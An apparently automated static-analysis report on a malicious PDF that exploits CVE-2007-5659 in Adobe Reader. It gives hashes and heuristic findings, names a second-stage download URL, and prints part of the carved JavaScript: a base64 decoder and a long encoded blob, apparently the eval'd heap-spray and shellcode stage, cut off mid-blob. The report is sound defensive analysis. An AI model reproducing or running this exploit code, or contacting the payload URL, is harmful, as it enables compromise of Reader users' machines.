Malicious PDF — malware analysis report

Static analysis result for SHA-256 fb01704c5de14bb7…

MALICIOUS

PDF

3.0 KB First seen: 2026-05-11
MD5: b1f2e90e0573c8a2f8896c927e70cd61 SHA-1: 0e9ec0a4b93a13e8c6bee014d9a88ec1d9bb27c3 SHA-256: fb01704c5de14bb78e955815d87b511e5166b29efe6522eb8567e3b5d33e36f5
276 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell

The PDF file contains embedded JavaScript, indicated by the PDF_JAVASCRIPT and PDF_JS heuristics. The JavaScript stream, named 'javascript_obj0009_000.js', is heavily obfuscated and likely intended to download and execute a second-stage payload. The 'Long encoded blob' and 'Script obfuscation indicators' heuristics further support this assessment. Due to the obfuscation, the exact payload and delivery mechanism cannot be determined with high confidence.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 8

  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • JavaScript action low 3 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
          chr3 = ((enc3 & 3) << 6) | enc4;
          output = output + String.fromCharCode(chr1);
          if (enc3 != 64) {
  • PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL
    Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Generic recovered JavaScript exploit stage high PDF_GENERIC_STAGE_RECOVERY
    Bounded static stage recovery exposed hidden JavaScript through generic transforms such as null-byte collapse, percent decoding, marker replacement, arithmetic character codes, fromCharCode, numeric arrays, numeric-array minus-key decoders, alphabet-index arrays, /Producer half-difference metadata arrays, hex literals, marker-stripped Base64 literals, custom 6-bit XOR table decoders, or repeated-marker hex carriers. This rule is emitted only when the recovered stage contains exploit-like Acrobat JavaScript or shellcode markers.
  • Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://tthhllkk.info//getexe.php?spl=pdf_exp Referenced by PDF JavaScript

Extracted artifacts 3

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0009_000.js pdf-javascript-stream PDF /JS object 9 at offset 0xD6 21209 bytes
SHA-256: 8d3d691085d056cc98c3a0babc2d83bfb8aa7d72b1266bf9238c36c61d5ef806
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 3 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var keyXXXStr = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
function decode64(input) {
   var output = "";
   var chr1, chr2, chr3;
   var enc1, enc2, enc3, enc4;
   var i = 0;
   input = input.replace(/[^A-Za-z0-9\+\/\=]/g, "");
   do {
      enc1 = keyXXXStr.indexOf(input.charAt(i++));
      enc2 = keyXXXStr.indexOf(input.charAt(i++));
      enc3 = keyXXXStr.indexOf(input.charAt(i++));
      enc4 = keyXXXStr.indexOf(input.charAt(i++));
      chr1 = (enc1 << 2) | (enc2 >> 4);
      chr2 = ((enc2 & 15) << 4) | (enc3 >> 2);
      chr3 = ((enc3 & 3) << 6) | enc4;
      output = output + String.fromCharCode(chr1);
      if (enc3 != 64) {
         output = output + String.fromCharCode(chr2);
      }
      if (enc4 != 64) {
         output = output + String.fromCharCode(chr3);
      }
   } while (i < input.length);
   return output;
}
var aasd = decode64("CiB2YXIgU1g2MExJNzNlcG0gPSBuZXcgQXJyYXkoKTsKIHZhciBpdVdKdG1vVWlzcjsKIHZhciBsYXZlID0gZXZhbDsKICBsYXZlKHVuZXNjYXBlKCIlMjAlMjAlNjYlNzUlNmUlNjMlNzQlNjklNmYlNmUlMjAlNzElNTglMzYlNDElNjclNWElNDQlNDclNzIlNjYlNzQlMjglNjIlNjMlMzAlNzklNDklNjUlNjElNDUlNDUlNzglNGYlMmMlMjAlNTElNTElMzclNTMlNDklNTYlNmMlMzklNDMlN2ElNGMlMjklMjAlMjAlN2IlMjAlMjAlMjAlMjAlNzclNjglNjklNmMlNjUlMjglNjIlNjMlMzAlNzklNDklNjUlNjElNDUlNDUlNzglNGYlMmUlNmMlNjUlNmUlNjclNzQlNjglMjAlMmElMjAlMzIlMjAlM2MlMjAlNTElNTElMzclNTMlNDklNTYlNmMlMzklNDMlN2ElNGMlMjklMjAlMjAlMjAlMjAlN2IlMjAlMjAlMjAlMjAlMjAlMjAlNjIlNjMlMzAlNzklNDklNjUlNjElNDUlNDUlNzglNGYlMjAlMmIlM2QlMjAlNjIlNjMlMzAlNzklNDklNjUlNjElNDUlNDUlNzglNGYlM2IlMjAlMjAlMjAlMjAlN2QlMjAlMjAlMjAlMjAlNjIlNjMlMzAlNzklNDklNjUlNjElNDUlNDUlNzglNGYlMjAlM2QlMjAlNjIlNjMlMzAlNzklNDklNjUlNjElNDUlNDUlNzglNGYlMmUlNzMlNzUlNjIlNzMlNzQlNzIlNjklNmUlNjclMjglMzAlMmMlMjAlNTElNTElMzclNTMlNDklNTYlNmMlMzklNDMlN2ElNGMlMjAlMmYlMjAlMzIlMjklM2IlMjAlMjAlMjAlMjAlNzIlNjUlNzQlNzUlNzIlNmUlMjAlNjIlNjMlMzAlNzklNDklNjUlNjElNDUlNDUlNzglNGYlM2IlMjAlMjAlN2QlMjAiKSk7ICBsYXZlKHVuZXNjYXBlKCIlMjAlMjAlMjAlNjYlNzUlNmUlNjMlNzQlNjklNmYlNmUlMjAlNDQlNGUlNTYlNDclMzUlNzclNWElNWElMzYlNDQlMzQlMjglNzclNTElMzYlNzMlNzIlNjIlMzUlNDUlNjYlNjklN2ElMjklMjAlMjAlN2IlMjAlMjAlMjAlMjAlNjklNjYlMjglNzclNTElMzYlNzMlNzIlNjIlMzUlNDUlNjYlNjklN2ElMjAlM2QlM2QlMjAlMzAlMjklMjAlMjAlMjAlMjAlN2IlMjAlMjAlMjAlMjAlMjAlMjAlNzYlNjElNzIlMjAlNDYlNzUlMzAlNGUlNzclNjclNmQlNzclNmQlNTMlNzMlMjAlM2QlMjAlMzAlNzglMzAlNjMlMzAlNjMlMzAlNjMlMzAlNjMlM2IlMjAlMjAlMjAlMjAlMjAlMjAlNzYlNjElNzIlMjAlNjQlMzAlNmMlNjQlNDYlNzMlN2ElNzMlNjElNGQlMzAlMjAlM2QlMjAlMjAlNzUlNmUlNjUlNzMlNjMlNjElNzAlNjUlMjglMjIlMjUlNzUlNDMlMzAlMzMlMzMlMjUlNzUlMzglNDIlMzYlMzQlMjUlNzUlMzMlMzAlMzQlMzAlMjUlNzUlMzAlNDMlMzclMzglMjUlNzUlMzQlMzAlMzglNDIlMjUlNzUlMzglNDIlMzAlNDMlMjUlNzUlMzElNDMlMzclMzAlMjUlNzUlMzglNDIlNDElNDQlMjUlNzUlMzAlMzglMzUlMzglMjUlNzUlMzAlMzklNDUlNDIlMjUlNzUlMzQlMzAlMzglNDIlMjUlNzUlMzglNDQlMzMlMzQlMjUlNzUlMzclNDMlMzQlMzAlMjUlNzUlMzUlMzglMzglNDIlMjUlNzUlMzYlNDElMzMlNDMlMjUlNzUlMzUlNDElMzQlMzQlMjUlNzUlNDUlMzIlNDQlMzElMjUlNzUlNDUlMzIlMzIlNDIlMjUlNzUlNDUlNDMlMzglNDIlMjUlNzUlMzQlNDYlNDUlNDIlMjUlNzUlMzUlMzIlMzUlNDElMjUlNzUlNDUlNDElMzglMzMlMjUlNzUlMzglMzklMzUlMzYlMjUlNzUlMzAlMzQlMzUlMzUlMjUlNzUlMzUlMzclMzUlMzYlMjUlNzUlMzclMzMlMzglNDIlMjUlNzUlMzglNDIlMzMlNDMlMjUlNzUlMzMlMzMlMzclMzQlMjUlNzUlMzAlMzMlMzclMzglMjUlNzUlMzUlMzYlNDYlMzMlMjUlNzUlMzclMzYlMzglNDIlMjUlNzUlMzAlMzMlMzIlMzAlMjUlNzUlMzMlMzMlNDYlMzMlMjUlNzUlMzQlMzklNDMlMzklMjUlNzUlMzQlMzElMzUlMzAlMjUlNzUlMzMlMzMlNDElNDQlMjUlNzUlMzMlMzYlNDYlNDYlMjUlNzUlNDIlNDUlMzAlNDYlMjUlNzUlMzAlMzMlMzElMzQlMjUlNzUlNDYlMzIlMzMlMzglMjUlNzUlMzAlMzglMzclMzQlMjUlNzUlNDMlNDYlNDMlMzElMjUlNzUlMzAlMzMlMzAlNDQlMjUlNzUlMzQlMzAlNDYlNDElMjUlNzUlNDUlNDYlNDUlNDIlMjUlNzUlMzMlNDIlMzUlMzglMjUlNzUlMzclMzUlNDYlMzglMjUlNzUlMzUlNDUlNDUlMzUlMjUlNzUlMzQlMzYlMzglNDIlMjUlNzUlMzAlMzMlMzIlMzQlMjUlNzUlMzYlMzYlNDMlMzMlMjUlNzUlMzAlNDMlMzglNDIlMjUlNzUlMzglNDIlMzQlMzglMjUlNzUlMzElNDMlMzUlMzYlMjUlNzUlNDQlMzMlMzAlMzMlMjUlNzUlMzAlMzQlMzglNDIlMjUlNzUlMzAlMzMlMzglNDElMjUlNzUlMzUlNDYlNDMlMzMlMjUlNzUlMzUlMzAlMzUlNDUlMjUlNzUlMzglNDQlNDMlMzMlMjUlNzUlMzAlMzglMzclNDQlMjUlNzUlMzUlMzIlMzUlMzclMjUlNzUlMzMlMzMlNDIlMzglMjUlNzUlMzglNDElNDMlNDElMjUlNzUlNDUlMzglMzUlNDIlMjUlNzUlNDYlNDYlNDElMzIlMjUlNzUlNDYlNDYlNDYlNDYlMjUlNzUlNDMlMzAlMzMlMzIlMjUlNzUlNDYlMzclMzglNDIlMjUlNzUlNDElNDUlNDYlMzIlMjUlNzUlNDIlMzglMzQlNDYlMjUlNzUlMzIlNDUlMzYlMzUlMjUlNzUlMzclMzglMzYlMzUlMjUlNzUlMzYlMzYlNDElNDIlMjUlNzUlMzYlMzYlMzklMzglMjUlNzUlNDIlMzAlNDElNDIlMjUlNzUlMzglNDElMzYlNDMlMjUlNzUlMzklMzglNDUlMzAlMjUlNzUlMzYlMzglMzUlMzAlMjUlNzUlMzYlNDUlMzYlNDYlMjUlNzUlMzYlMzQlMzIlNDUlMjUlNzUlMzclMzUlMzYlMzglMjUlNzUlMzYlNDMlMzclMzIlMjUlNzUlMzUlMzQlMzYlNDQlMjUlNzUlMzglNDUlNDIlMzglMjUlNzUlMzAlNDUlMzQlNDUlMjUlNzUlNDYlNDYlNDUlNDMlMjUlNzUlMzAlMzQlMzUlMzUlMjUlNzUlMzUlMzAlMzklMzMlMjUlNzUlNDMlMzAlMzMlMzMlMjUlNzUlMzUlMzAlMzUlMzAlMjUlNzUlMzglNDIlMzUlMzYlMjUlNzUlMzAlMzQlMzUlMzUlMjUlNzUlNDMlMzIlMzglMzMlMjUlNzUlMzglMzMlMzclNDYlMjUlNzUlMzMlMzElNDMlMzIlMjUlNzUlMzUlMzAlMzUlMzIlMjUlNzUlMzMlMzYlNDIlMzglMjUlNzUlMzIlNDYlMzElNDElMjUlNzUlNDYlNDYlMzclMzAlMjUlNzUlMzAlMzQlMzUlMzUlMjUlNzUlMzMlMzMlMzUlNDIlMjUlNzUlMzUlMzclNDYlNDYlMjUlNzUlNDIlMzglMzUlMzYlMjUlNzUlNDYlNDUlMzklMzglMjUlNzUlMzAlNDUlMzglNDElMjUlNzUlMzUlMzUlNDYlNDYlMjUlNzUlMzUlMzclMzAlMzQlMjUlNzUlNDUlNDYlNDIlMzglMjUlNzUlNDUlMzAlNDMlNDUlMjUlNzUlNDYlNDYlMzYlMzAlMjUlNzUlMzAlMzQlMzUlMzUlMjUlNzUlMzclMzQlMzYlMzglMjUlNzUlMzclMzAlMzclMzQlMjUlNzUlMzIlNDYlMzMlNDElMjUlNzUlMzclMzQlMzIlNDYlMjUlNzUlMzYlMzglMzclMzQlMjUlNzUlMzYlNDMlMzYlMzglMjUlNzUlMzYlNDIlMzYlNDMlMjUlNzUlMzIlNDUlMzYlNDIlMjUlNzUlMzYlNDUlMzYlMzklMjUlNzUlMzYlNDYlMzYlMzYlMjUlNzUlMzIlNDYlMzIlNDYlMjUlNzUlMzYlMzUlMzYlMzclMjUlNzUlMzYlMzUlMzclMzQlMjUlNzUlMzYlMzUlMzclMzglMjUlNzUlMzclMzAlMzIlNDUlMjUlNzUlMzclMzAlMzYlMzglMjUlNzUlMzclMzMlMzMlNDYlMjUlNzUlMzYlNDMlMzclMzAlMjUlNzUlMzclMzAlMzMlNDQlMjUlNzUlMzYlMzYlMzYlMzQlMjUlNzUlMzYlMzUlMzUlNDYlMjUlNzUlMzclMzAlMzclMzglMjIlMjklM2IlMjAlMjAlMjAlMjAlN2QlMjAlMjAlMjAlMjAlNjUlNmMlNzMlNjUlMjAlNjklNjYlMjglNzclNTElMzYlNzMlNzIlNjIlMzUlNDUlNjYlNjklN2ElMjAlM2QlM2QlMjAlMzElMjklMjAlMjAlMjAlMjAlN2IlMjAlMjAlMjAlMjAlMjAlMjAlNDYlNzUlMzAlNGUlNzclNjclNmQlNzclNmQlNTMlNzMlMjAlM2QlMjAlMzAlNzglMzMlMzAlMzMlMzAlMzMlMzAlMzMlMzAlM2IlMjAlMjAlMjAlMjAlMjAlMjAlNzYlNjElNzIlMjAlNjQlMzAlNmMlNjQlNDYlNzMlN2ElNzMlNjElNGQlMzAlMjAlM2QlMjAlMjAlNzUlNmUlNjUlNzMlNjMlNjElNzAlNjUlMjglMjIlMjUlNzUlNDMlMzAlMzMlMzMlMjUlNzUlMzglNDIlMzYlMzQlMjUlNzUlMzMlMzAlMzQlMzAlMjUlNzUlMzAlNDMlMzclMzglMjUlNzUlMzQlMzAlMzglNDIlMjUlNzUlMzglNDIlMzAlNDMlMjUlNzUlMzElNDMlMzclMzAlMjUlNzUlMzglNDIlNDElNDQlMjUlNzUlMzAlMzglMzUlMzglMjUlNzUlMzAlMzklNDUlNDIlMjUlNzUlMzQlMzAlMzglNDIlMjUlNzUlMzglNDQlMzMlMzQlMjUlNzUlMzclNDMlMzQlMzAlMjUlNzUlMzUlMzglMzglNDIlMjUlNzUlMzYlNDElMzMlNDMlMjUlNzUlMzUlNDElMzQlMzQlMjUlNzUlNDUlMzIlNDQlMzElMjUlNzUlNDUlMzIlMzIlNDIlMjUlNzUlNDUlNDMlMzglNDIlMjUlNzUlMzQlNDYlNDUlNDIlMjUlNzUlMzUlMzIlMzUlNDElMjUlNzUlNDUlNDElMzglMzMlMjUlNzUlMzglMzklMzUlMzYlMjUlNzUlMzAlMzQlMzUlMzUlMjUlNzUlMzUlMzclMzUlMzYlMjUlNzUlMzclMzMlMzglNDIlMjUlNzUlMzglNDIlMzMlNDMlMjUlNzUlMzMlMzMlMzclMzQlMjUlNzUlMzAlMzMlMzclMzglMjUlNzUlMzUlMzYlNDYlMzMlMjUlNzUlMzclMzYlMzglNDIlMjUlNzUlMzAlMzMlMzIlMzAlMjUlNzUlMzMlMzMlNDYlMzMlMjUlNzUlMzQlMzklNDMlMzklMjUlNzUlMzQlMzElMzUlMzAlMjUlNzUlMzMlMzMlNDElNDQlMjUlNzUlMzMlMzYlNDYlNDYlMjUlNzUlNDIlNDUlMzAlNDYlMjUlNzUlMzAlMzMlMzElMzQlMjUlNzUlNDYlMzIlMzMlMzglMjUlNzUlMzAlMzglMzclMzQlMjUlNzUlNDMlNDYlNDMlMzElMjUlNzUlMzAlMzMlMzAlNDQlMjUlNzUlMzQlMzAlNDYlNDElMjUlNzUlNDUlNDYlNDUlNDIlMjUlNzUlMzMlNDIlMzUlMzglMjUlNzUlMzclMzUlNDYlMzglMjUlNzUlMzUlNDUlNDUlMzUlMjUlNzUlMzQlMzYlMzglNDIlMjUlNzUlMzAlMzMlMzIlMzQlMjUlNzUlMzYlMzYlNDMlMzMlMjUlNzUlMzAlNDMlMzglNDIlMjUlNzUlMzglNDIlMzQlMzglMjUlNzUlMzElNDMlMzUlMzYlMjUlNzUlNDQlMzMlMzAlMzMlMjUlNzUlMzAlMzQlMzglNDIlMjUlNzUlMzAlMzMlMzglNDElMjUlNzUlMzUlNDYlNDMlMzMlMjUlNzUlMzUlMzAlMzUlNDUlMjUlNzUlMzglNDQlNDMlMzMlMjUlNzUlMzAlMzglMzclNDQlMjUlNzUlMzUlMzIlMzUlMzclMjUlNzUlMzMlMzMlNDIlMzglMjUlNzUlMzglNDElNDMlNDElMjUlNzUlNDUlMzglMzUlNDIlMjUlNzUlNDYlNDYlNDElMzIlMjUlNzUlNDYlNDYlNDYlNDYlMjUlNzUlNDMlMzAlMzMlMzIlMjUlNzUlNDYlMzclMzglNDIlMjUlNzUlNDElNDUlNDYlMzIlMjUlNzUlNDIlMzglMzQlNDYlMjUlNzUlMzIlNDUlMzYlMzUlMjUlNzUlMzclMzglMzYlMzUlMjUlNzUlMzYlMzYlNDElNDIlMjUlNzUlMzYlMzYlMzklMzglMjUlNzUlNDIlMzAlNDElNDIlMjUlNzUlMzglNDElMzYlNDMlMjUlNzUlMzklMzglNDUlMzAlMjUlNzUlMzYlMzglMzUlMzAlMjUlNzUlMzYlNDUlMzYlNDYlMjUlNzUlMzYlMzQlMzIlNDUlMjUlNzUlMzclMzUlMzYlMzglMjUlNzUlMzYlNDMlMzclMzIlMjUlNzUlMzUlMzQlMzYlNDQlMjUlNzUlMzglNDUlNDIlMzglMjUlNzUlMzAlNDUlMzQlNDUlMjUlNzUlNDYlNDYlNDUlNDMlMjUlNzUlMzAlMzQlMzUlMzUlMjUlNzUlMzUlMzAlMzklMzMlMjUlNzUlNDMlMzAlMzMlMzMlMjUlNzUlMzUlMzAlMzUlMzAlMjUlNzUlMzglNDIlMzUlMzYlMjUlNzUlMzAlMzQlMzUlMzUlMjUlNzUlNDMlMzIlMzglMzMlMjUlNzUlMzglMzMlMzclNDYlMjUlNzUlMzMlMzElNDMlMzIlMjUlNzUlMzUlMzAlMzUlMzIlMjUlNzUlMzMlMzYlNDIlMzglMjUlNzUlMzIlNDYlMzElNDElMjUlNzUlNDYlNDYlMzclMzAlMjUlNzUlMzAlMzQlMzUlMzUlMjUlNzUlMzMlMzMlMzUlNDIlMjUlNzUlMzUlMzclNDYlNDYlMjUlNzUlNDIlMzglMzUlMzYlMjUlNzUlNDYlNDUlMzklMzglMjUlNzUlMzAlNDUlMzglNDElMjUlNzUlMzUlMzUlNDYlNDYlMjUlNzUlMzUlMzclMzAlMzQlMjUlNzUlNDUlNDYlNDIlMzglMjUlNzUlNDUlMzAlNDMlNDUlMjUlNzUlNDYlNDYlMzYlMzAlMjUlNzUlMzAlMzQlMzUlMzUlMjUlNzUlMzclMzQlMzYlMzglMjUlNzUlMzclMzAlMzclMzQlMjUlNzUlMzIlNDYlMzMlNDElMjUlNzUlMzclMzQlMzIlNDYlMjUlNzUlMzYlMzglMzclMzQlMjUlNzUlMzYlNDMlMzYlMzglMjUlNzUlMzYlNDIlMzYlNDMlMjUlNzUlMzIlNDUlMzYlNDIlMjUlNzUlMzYlNDUlMzYlMzklMjUlNzUlMzYlNDYlMzYlMzYlMjUlNzUlMzIlNDYlMzIlNDYlMjUlNzUlMzYlMzUlMzYlMzclMjUlNzUlMzYlMzUlMzclMzQlMjUlNzUlMzYlMzUlMzclMzglMjUlNzUlMzclMzAlMzIlNDUlMjUlNzUlMzclMzAlMzYlMzglMjUlNzUlMzclMzMlMzMlNDYlMjUlNzUlMzYlNDMlMzclMzAlMjUlNzUlMzclMzAlMzMlNDQlMjUlNzUlMzYlMzYlMzYlMzQlMjUlNzUlMzYlMzUlMzUlNDYlMjUlNzUlMzclMzAlMzclMzglMjIlMjklM2IlMjAlMjAlMjAlMjAlN2QlMjAlMjAlMjAlMjAlNjUlNmMlNzMlNjUlMjAlNjklNjYlMjglNzclNTElMzYlNzMlNzIlNjIlMzUlNDUlNjYlNjklN2ElMjAlM2QlM2QlMjAlMzIlMjklMjAlMjAlMjAlMjAlN2IlMjAlMjAlMjAlMjAlMjAlMjAlNzYlNjElNzIlMjAlNjQlMzAlNmMlNjQlNDYlNzMlN2ElNzMlNjElNGQlMzAlMjAlM2QlMjAlMjAlNzUlNmUlNjUlNzMlNjMlNjElNzAlNjUlMjglMjIlMjUlNzUlNDMlMzAlMzMlMzMlMjUlNzUlMzglNDIlMzYlMzQlMjUlNzUlMzMlMzAlMzQlMzAlMjUlNzUlMzAlNDMlMzclMzglMjUlNzUlMzQlMzAlMzglNDIlMjUlNzUlMzglNDIlMzAlNDMlMjUlNzUlMzElNDMlMzclMzAlMjUlNzUlMzglNDIlNDElNDQlMjUlNzUlMzAlMzglMzUlMzglMjUlNzUlMzAlMzklNDUlNDIlMjUlNzUlMzQlMzAlMzglNDIlMjUlNzUlMzglNDQlMzMlMzQlMjUlNzUlMzclNDMlMzQlMzAlMjUlNzUlMzUlMzglMzglNDIlMjUlNzUlMzYlNDElMzMlNDMlMjUlNzUlMzUlNDElMzQlMzQlMjUlNzUlNDUlMzIlNDQlMzElMjUlNzUlNDUlMzIlMzIlNDIlMjUlNzUlNDUlNDMlMzglNDIlMjUlNzUlMzQlNDYlNDUlNDIlMjUlNzUlMzUlMzIlMzUlNDElMjUlNzUlNDUlNDElMzglMzMlMjUlNzUlMzglMzklMzUlMzYlMjUlNzUlMzAlMzQlMzUlMzUlMjUlNzUlMzUlMzclMzUlMzYlMjUlNzUlMzclMzMlMzglNDIlMjUlNzUlMzglNDIlMzMlNDMlMjUlNzUlMzMlMzMlMzclMzQlMjUlNzUlMzAlMzMlMzclMzglMjUlNzUlMzUlMzYlNDYlMzMlMjUlNzUlMzclMzYlMzglNDIlMjUlNzUlMzAlMzMlMzIlMzAlMjUlNzUlMzMlMzMlNDYlMzMlMjUlNzUlMzQlMzklNDMlMzklMjUlNzUlMzQlMzElMzUlMzAlMjUlNzUlMzMlMzMlNDElNDQlMjUlNzUlMzMlMzYlNDYlNDYlMjUlNzUlNDIlNDUlMzAlNDYlMjUlNzUlMzAlMzMlMzElMzQlMjUlNzUlNDYlMzIlMzMlMzglMjUlNzUlMzAlMzglMzclMzQlMjUlNzUlNDMlNDYlNDMlMzElMjUlNzUlMzAlMzMlMzAlNDQlMjUlNzUlMzQlMzAlNDYlNDElMjUlNzUlNDUlNDYlNDUlNDIlMjUlNzUlMzMlNDIlMzUlMzglMjUlNzUlMzclMzUlNDYlMzglMjUlNzUlMzUlNDUlNDUlMzUlMjUlNzUlMzQlMzYlMzglNDIlMjUlNzUlMzAlMzMlMzIlMzQlMjUlNzUlMzYlMzYlNDMlMzMlMjUlNzUlMzAlNDMlMzglNDIlMjUlNzUlMzglNDIlMzQlMzglMjUlNzUlMzElNDMlMzUlMzYlMjUlNzUlNDQlMzMlMzAlMzMlMjUlNzUlMzAlMzQlMzglNDIlMjUlNzUlMzAlMzMlMzglNDElMjUlNzUlMzUlNDYlNDMlMzMlMjUlNzUlMzUlMzAlMzUlNDUlMjUlNzUlMzglNDQlNDMlMzMlMjUlNzUlMzAlMzglMzclNDQlMjUlNzUlMzUlMzIlMzUlMzclMjUlNzUlMzMlMzMlNDIlMzglMjUlNzUlMzglNDElNDMlNDElMjUlNzUlNDUlMzglMzUlNDIlMjUlNzUlNDYlNDYlNDElMzIlMjUlNzUlNDYlNDYlNDYlNDYlMjUlNzUlNDMlMzAlMzMlMzIlMjUlNzUlNDYlMzclMzglNDIlMjUlNzUlNDElNDUlNDYlMzIlMjUlNzUlNDIlMzglMzQlNDYlMjUlNzUlMzIlNDUlMzYlMzUlMjUlNzUlMzclMzglMzYlMzUlMjUlNzUlMzYlMzYlNDElNDIlMjUlNzUlMzYlMzYlMzklMzglMjUlNzUlNDIlMzAlNDElNDIlMjUlNzUlMzglNDElMzYlNDMlMjUlNzUlMzklMzglNDUlMzAlMjUlNzUlMzYlMzglMzUlMzAlMjUlNzUlMzYlNDUlMzYlNDYlMjUlNzUlMzYlMzQlMzIlNDUlMjUlNzUlMzclMzUlMzYlMzglMjUlNzUlMzYlNDMlMzclMzIlMjUlNzUlMzUlMzQlMzYlNDQlMjUlNzUlMzglNDUlNDIlMzglMjUlNzUlMzAlNDUlMzQlNDUlMjUlNzUlNDYlNDYlNDUlNDMlMjUlNzUlMzAlMzQlMzUlMzUlMjUlNzUlMzUlMzAlMzklMzMlMjUlNzUlNDMlMzAlMzMlMzMlMjUlNzUlMzUlMzAlMzUlMzAlMjUlNzUlMzglNDIlMzUlMzYlMjUlNzUlMzAlMzQlMzUlMzUlMjUlNzUlNDMlMzIlMzglMzMlMjUlNzUlMzglMzMlMzclNDYlMjUlNzUlMzMlMzElNDMlMzIlMjUlNzUlMzUlMzAlMzUlMzIlMjUlNzUlMzMlMzYlNDIlMzglMjUlNzUlMzIlNDYlMzElNDElMjUlNzUlNDYlNDYlMzclMzAlMjUlNzUlMzAlMzQlMzUlMzUlMjUlNzUlMzMlMzMlMzUlNDIlMjUlNzUlMzUlMzclNDYlNDYlMjUlNzUlNDIlMzglMzUlMzYlMjUlNzUlNDYlNDUlMzklMzglMjUlNzUlMzAlNDUlMzglNDElMjUlNzUlMzUlMzUlNDYlNDYlMjUlNzUlMzUlMzclMzAlMzQlMjUlNzUlNDUlNDYlNDIlMzglMjUlNzUlNDUlMzAlNDMlNDUlMjUlNzUlNDYlNDYlMzYlMzAlMjUlNzUlMzAlMzQlMzUlMzUlMjUlNzUlMzclMzQlMzYlMzglMjUlNzUlMzclMzAlMzclMzQlMjUlNzUlMzIlNDYlMzMlNDElMjUlNzUlMzclMzQlMzIlNDYlMjUlNzUlMzYlMzglMzclMzQlMjUlNzUlMzYlNDMlMzYlMzglMjUlNzUlMzYlNDIlMzYlNDMlMjUlNzUlMzIlNDUlMzYlNDIlMjUlNzUlMzYlNDUlMzYlMzklMjUlNzUlMzYlNDYlMzYlMzYlMjUlNzUlMzIlNDYlMzIlNDYlMjUlNzUlMzYlMzUlMzYlMzclMjUlNzUlMzYlMzUlMzclMzQlMjUlNzUlMzYlMzUlMzclMzglMjUlNzUlMzclMzAlMzIlNDUlMjUlNzUlMzclMzAlMzYlMzglMjUlNzUlMzclMzMlMzMlNDYlMjUlNzUlMzYlNDMlMzclMzAlMjUlNzUlMzclMzAlMzMlNDQlMjUlNzUlMzYlMzYlMzYlMzQlMjUlNzUlMzYlMzUlMzUlNDYlMjUlNzUlMzclMzAlMzclMzglMjIlMjklM2IlMjAlMjAlMjAlMjAlN2QlMjAlMjAlMjAlMjAlNzYlNjElNzIlMjAlNmQlMzclNTQlMzklNzIlNDQlMzIlNzYlNTglNzglNGIlMjAlM2QlMjAlMzAlNzglMzQlMzAlMzAlMzAlMzAlMzAlM2IlMjAlMjAlMjAlMjAlNzYlNjElNzIlMjAlNzMlNDIlNjclNWElNGElNGElNzYlNjIlNjQlNDYlNjclMjAlM2QlMjAlNjQlMzAlNmMlNjQlNDYlNzMlN2ElNzMlNjElNGQlMzAlMmUlNmMlNjUlNmUlNjclNzQlNjglMjAlMmElMjAlMzIlM2IlMjAlMjAlMjAlMjAlNzYlNjElNzIlMjAlNTElNTElMzclNTMlNDklNTYlNmMlMzklNDMlN2ElNGMlMjAlM2QlMjAlNmQlMzclNTQlMzklNzIlNDQlMzIlNzYlNTglNzglNGIlMjAlMmQlMjAlMjglNzMlNDIlNjclNWElNGElNGElNzYlNjIlNjQlNDYlNjclMjAlMmIlMjAlMzAlNzglMzMlMzglMjklM2IlMjAlMjAlMjAlMjAlNzYlNjElNzIlMjAlNjIlNjMlMzAlNzklNDklNjUlNjElNDUlNDUlNzglNGYlMjAlM2QlMjAlNzUlNmUlNjUlNzMlNjMlNjElNzAlNjUlMjglMjIlMjUlNzUlMzklMzAlMzklMzAlMjUlNzUlMzklMzAlMzklMzAlMjIlMjklM2IlMjAlMjAlMjAlMjAlNjIlNjMlMzAlNzklNDklNjUlNjElNDUlNDUlNzglNGYlMjAlM2QlMjAlNzElNTglMzYlNDElNjclNWElNDQlNDclNzIlNjYlNzQlMjglNjIlNjMlMzAlNzklNDklNjUlNjElNDUlNDUlNzglNGYlMmMlMjAlNTElNTElMzclNTMlNDklNTYlNmMlMzklNDMlN2ElNGMlMjklM2IlMjAlMjAlMjAlMjAlNzYlNjElNzIlMjAlNTklNTQlNTAlNGElMzAlMzglNTIlNTElNmElNGUlNzglMjAlM2QlMjAlMjglNDYlNzUlMzAlNGUlNzclNjclNmQlNzclNmQlNTMlNzMlMjAlMmQlMjAlMzAlNzglMzQlMzAlMzAlMzAlMzAlMzAlMjklMjAlMmYlMjAlNmQlMzclNTQlMzklNzIlNDQlMzIlNzYlNTglNzglNGIlM2IlMjAlMjAlMjAlMjAlNjYlNmYlNzIlMjglNzYlNjElN